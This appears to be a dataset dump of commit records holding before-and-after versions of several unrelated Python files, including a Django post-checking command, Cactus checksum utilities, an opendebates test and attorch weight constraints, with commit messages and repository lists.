author="Adrien Guille, Pavel Soriano", author_email="adrien.guille@univ-lyon2.fr", description="A library for topic modeling and browsing", long_description=open('README.rst').read(), url='http://mediamining.univ-lyon2.fr/people/guille/tom.php', download_url='http://pypi.python.org/packages/source/t/tom_lib/tom_lib-%s.tar.gz' % version, classifiers=[ 'Programming Language :: Python', 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', "Operating System :: OS Independent", 'Programming Language :: Python :: 2.7', 'Topic :: Scientific/Engineering', 'Topic :: Text Processing' ], requires=['nltk', 'scikit-learn', 'networkx', 'pandas', 'scipy', 'gensim', 'numpy'])
34b80fdca9387c05cf9000cd2c19b619aadff6e9
app/blog/management/commands/check_posts_state.py
app/blog/management/commands/check_posts_state.py
import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked)
import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 self.stdout.write('Checked post #%d: %d %d %d' % (post.id, 1 if post.ogg_release_ready else 0, 1 if post.mp3_preview_ready else 0, 1 if post.ogg_preview_ready else 0)) post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked)
Update check posts state command
Update check posts state command
Python
bsd-3-clause
manti-by/M2MICRO,manti-by/M2MICRO,manti-by/M2-Blog-Engine,manti-by/M2-Blog-Engine,manti-by/M2MICRO,manti-by/M2-Blog-Engine,manti-by/m2,manti-by/m2,manti-by/m2,manti-by/M2MICRO,manti-by/M2-Blog-Engine,manti-by/m2
import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked) Update check posts state command
import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 self.stdout.write('Checked post #%d: %d %d %d' % (post.id, 1 if post.ogg_release_ready else 0, 1 if post.mp3_preview_ready else 0, 1 if post.ogg_preview_ready else 0)) post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked)
<commit_before>import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked) <commit_msg>Update check posts state command<commit_after>
import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 self.stdout.write('Checked post #%d: %d %d %d' % (post.id, 1 if post.ogg_release_ready else 0, 1 if post.mp3_preview_ready else 0, 1 if post.ogg_preview_ready else 0)) post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked)
import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked) Update check posts state commandimport os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 self.stdout.write('Checked post #%d: %d %d %d' % (post.id, 1 if post.ogg_release_ready else 0, 1 if post.mp3_preview_ready else 0, 1 if post.ogg_preview_ready else 0)) post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked)
<commit_before>import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked) <commit_msg>Update check posts state command<commit_after>import os import logging from django.core.management.base import BaseCommand from blog.models import Post logger = logging.getLogger('app') class Command(BaseCommand): help = 'Check posts state' def handle(self, *args, **options): checked = 0 for post in Post.objects.all(): try: post.ogg_release_ready = os.path.exists(post.release_ogg_file) \ and os.path.getsize(post.release_ogg_file) > 0 post.mp3_preview_ready = os.path.exists(post.preview_mp3_file) \ and os.path.getsize(post.preview_mp3_file) > 0 post.ogg_preview_ready = os.path.exists(post.preview_ogg_file) \ and os.path.getsize(post.preview_ogg_file) > 0 self.stdout.write('Checked post #%d: %d %d %d' % (post.id, 1 if post.ogg_release_ready else 0, 1 if post.mp3_preview_ready else 0, 1 if post.ogg_preview_ready else 0)) post.save() checked += 1 except Exception as e: logger.error(e) self.stdout.write('Checked %d posts' % checked)
fa1a08aed5bc6659304097d5ad7e653c553c1b11
cactus/utils/file.py
cactus/utils/file.py
#coding:utf-8 import os import cStringIO import gzip import hashlib from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ with open(path, 'rb') as f: return checksum(f.read()) def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)
#coding:utf-8 import os import cStringIO import gzip import hashlib import subprocess from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ # with open(path, 'rb') as f: # return checksum(f.read()) output = subprocess.check_output(["md5", path]) md5 = output.split(" = ")[1].strip() return md5 def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)
Use terminal md5 for perf
Use terminal md5 for perf
Python
bsd-3-clause
koenbok/Cactus,danielmorosan/Cactus,juvham/Cactus,dreadatour/Cactus,Bluetide/Cactus,chaudum/Cactus,koobs/Cactus,chaudum/Cactus,PegasusWang/Cactus,juvham/Cactus,eudicots/Cactus,Knownly/Cactus,danielmorosan/Cactus,page-io/Cactus,juvham/Cactus,fjxhkj/Cactus,koobs/Cactus,ibarria0/Cactus,PegasusWang/Cactus,danielmorosan/Cactus,Bluetide/Cactus,fjxhkj/Cactus,page-io/Cactus,andyzsf/Cactus-,fjxhkj/Cactus,eudicots/Cactus,chaudum/Cactus,PegasusWang/Cactus,koenbok/Cactus,dreadatour/Cactus,gone/Cactus,Bluetide/Cactus,ibarria0/Cactus,dreadatour/Cactus,gone/Cactus,koobs/Cactus,ibarria0/Cactus,koenbok/Cactus,page-io/Cactus,andyzsf/Cactus-,eudicots/Cactus,Knownly/Cactus,andyzsf/Cactus-,Knownly/Cactus,gone/Cactus
#coding:utf-8 import os import cStringIO import gzip import hashlib from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ with open(path, 'rb') as f: return checksum(f.read()) def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)Use terminal md5 for perf
#coding:utf-8 import os import cStringIO import gzip import hashlib import subprocess from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ # with open(path, 'rb') as f: # return checksum(f.read()) output = subprocess.check_output(["md5", path]) md5 = output.split(" = ")[1].strip() return md5 def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)
<commit_before>#coding:utf-8 import os import cStringIO import gzip import hashlib from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ with open(path, 'rb') as f: return checksum(f.read()) def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)<commit_msg>Use terminal md5 for perf<commit_after>
#coding:utf-8 import os import cStringIO import gzip import hashlib import subprocess from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ # with open(path, 'rb') as f: # return checksum(f.read()) output = subprocess.check_output(["md5", path]) md5 = output.split(" = ")[1].strip() return md5 def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)
#coding:utf-8 import os import cStringIO import gzip import hashlib from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ with open(path, 'rb') as f: return checksum(f.read()) def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)Use terminal md5 for perf#coding:utf-8 import os import cStringIO import gzip import hashlib import subprocess from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ # with open(path, 'rb') as f: # return checksum(f.read()) output = subprocess.check_output(["md5", path]) md5 = output.split(" = ")[1].strip() return md5 def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)
<commit_before>#coding:utf-8 import os import cStringIO import gzip import hashlib from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ with open(path, 'rb') as f: return checksum(f.read()) def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)<commit_msg>Use terminal md5 for perf<commit_after>#coding:utf-8 import os import cStringIO import gzip import hashlib import subprocess from cactus.utils.helpers import checksum class FakeTime: """ Monkey-patch gzip.time to avoid changing files every time we deploy them. """ def time(self): return 1111111111.111 def compressString(s): """Gzip a given string.""" gzip.time = FakeTime() zbuf = cStringIO.StringIO() zfile = gzip.GzipFile(mode='wb', compresslevel=9, fileobj=zbuf) zfile.write(s) zfile.close() return zbuf.getvalue() def fileSize(num): for x in ['b', 'kb', 'mb', 'gb', 'tb']: if num < 1024.0: return "%.0f%s" % (num, x) num /= 1024.0 def calculate_file_checksum(path): """ Calculate the MD5 sum for a file (needs to fit in memory) """ # with open(path, 'rb') as f: # return checksum(f.read()) output = subprocess.check_output(["md5", path]) md5 = output.split(" = ")[1].strip() return md5 def file_changed_hash(path): info = os.stat(path) hashKey = str(info.st_mtime) + str(info.st_size) return checksum(hashKey)
09c0c2302460c6e32419f640b341c4b968d4227a
opendebates/tests/test_context_processors.py
opendebates/tests/test_context_processors.py
import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHastag'}) def test_email_url(self): settings.SITE_THEME['HASHTAG'] = 'TestHashtag' email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0])
import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHashtag'}) def test_email_url(self): email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0])
Fix type in overridden setting
Fix type in overridden setting
Python
apache-2.0
caktus/django-opendebates,ejucovy/django-opendebates,ejucovy/django-opendebates,caktus/django-opendebates,ejucovy/django-opendebates,caktus/django-opendebates,ejucovy/django-opendebates,caktus/django-opendebates
import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHastag'}) def test_email_url(self): settings.SITE_THEME['HASHTAG'] = 'TestHashtag' email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0]) Fix type in overridden setting
import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHashtag'}) def test_email_url(self): email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0])
<commit_before>import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHastag'}) def test_email_url(self): settings.SITE_THEME['HASHTAG'] = 'TestHashtag' email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0]) <commit_msg>Fix type in overridden setting<commit_after>
import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHashtag'}) def test_email_url(self): email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0])
import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHastag'}) def test_email_url(self): settings.SITE_THEME['HASHTAG'] = 'TestHashtag' email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0]) Fix type in overridden settingimport urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHashtag'}) def test_email_url(self): email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0])
<commit_before>import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHastag'}) def test_email_url(self): settings.SITE_THEME['HASHTAG'] = 'TestHashtag' email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0]) <commit_msg>Fix type in overridden setting<commit_after>import urlparse from django.test import TestCase, override_settings from django.conf import settings from mock import patch, Mock from opendebates.context_processors import global_vars from opendebates.tests.factories import SubmissionFactory class NumberOfVotesTest(TestCase): def test_number_of_votes(self): mock_request = Mock() with patch('opendebates.utils.cache') as mock_cache: mock_cache.get.return_value = 2 context = global_vars(mock_request) self.assertEqual(2, int(context['NUMBER_OF_VOTES'])) class ThemeTests(TestCase): def setUp(self): self.idea = SubmissionFactory() @override_settings(SITE_THEME={'HASHTAG': 'TestHashtag'}) def test_email_url(self): email_url = self.idea.email_url() fields = urlparse.parse_qs(urlparse.urlparse(email_url).query) self.assertTrue('subject' in fields, fields) self.assertTrue('#TestHashtag' in fields['subject'][0], fields['subject'][0])
d816c7207d21c2c379f9409eebc42f4feb88afd9
attorch/constraints.py
attorch/constraints.py
def positive(weight): weight.data *= weight.data.ge(0).float() def negative(weight): weight.data *= weight.data.le(0).float() def positive_except_self(weight): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos
from torch import nn def constrain_all(self): if hasattr(self, 'constrain'): self.constrain() for c in self.children(): c.constrain_all() # extend torch nn.Module to have constrain_all function nn.Module.constrain_all = constrain_all def positive(weight, cache=None): weight.data *= weight.data.ge(0).float() return cache def negative(weight, cache=None): weight.data *= weight.data.le(0).float() return cache def positive_except_self(weight, cache=None): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos return cache
Add constraining extension to nn.Module
Add constraining extension to nn.Module
Python
mit
fabiansinz/attorch,atlab/attorch,eywalker/attorch
def positive(weight): weight.data *= weight.data.ge(0).float() def negative(weight): weight.data *= weight.data.le(0).float() def positive_except_self(weight): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos Add constraining extension to nn.Module
from torch import nn def constrain_all(self): if hasattr(self, 'constrain'): self.constrain() for c in self.children(): c.constrain_all() # extend torch nn.Module to have constrain_all function nn.Module.constrain_all = constrain_all def positive(weight, cache=None): weight.data *= weight.data.ge(0).float() return cache def negative(weight, cache=None): weight.data *= weight.data.le(0).float() return cache def positive_except_self(weight, cache=None): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos return cache
<commit_before> def positive(weight): weight.data *= weight.data.ge(0).float() def negative(weight): weight.data *= weight.data.le(0).float() def positive_except_self(weight): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos <commit_msg>Add constraining extension to nn.Module<commit_after>
from torch import nn def constrain_all(self): if hasattr(self, 'constrain'): self.constrain() for c in self.children(): c.constrain_all() # extend torch nn.Module to have constrain_all function nn.Module.constrain_all = constrain_all def positive(weight, cache=None): weight.data *= weight.data.ge(0).float() return cache def negative(weight, cache=None): weight.data *= weight.data.le(0).float() return cache def positive_except_self(weight, cache=None): pos = weight.data.ge(0).float() if pos.size()[2] % 2 == 0 or pos.size()[3] % 2 == 0: raise ValueError('kernel size must be odd') ii, jj = pos.size()[2] // 2, pos.size()[3] // 2 for i in range(pos.size()[0]): pos[i, i, ii, jj] = 1 weight.data *= pos return cache
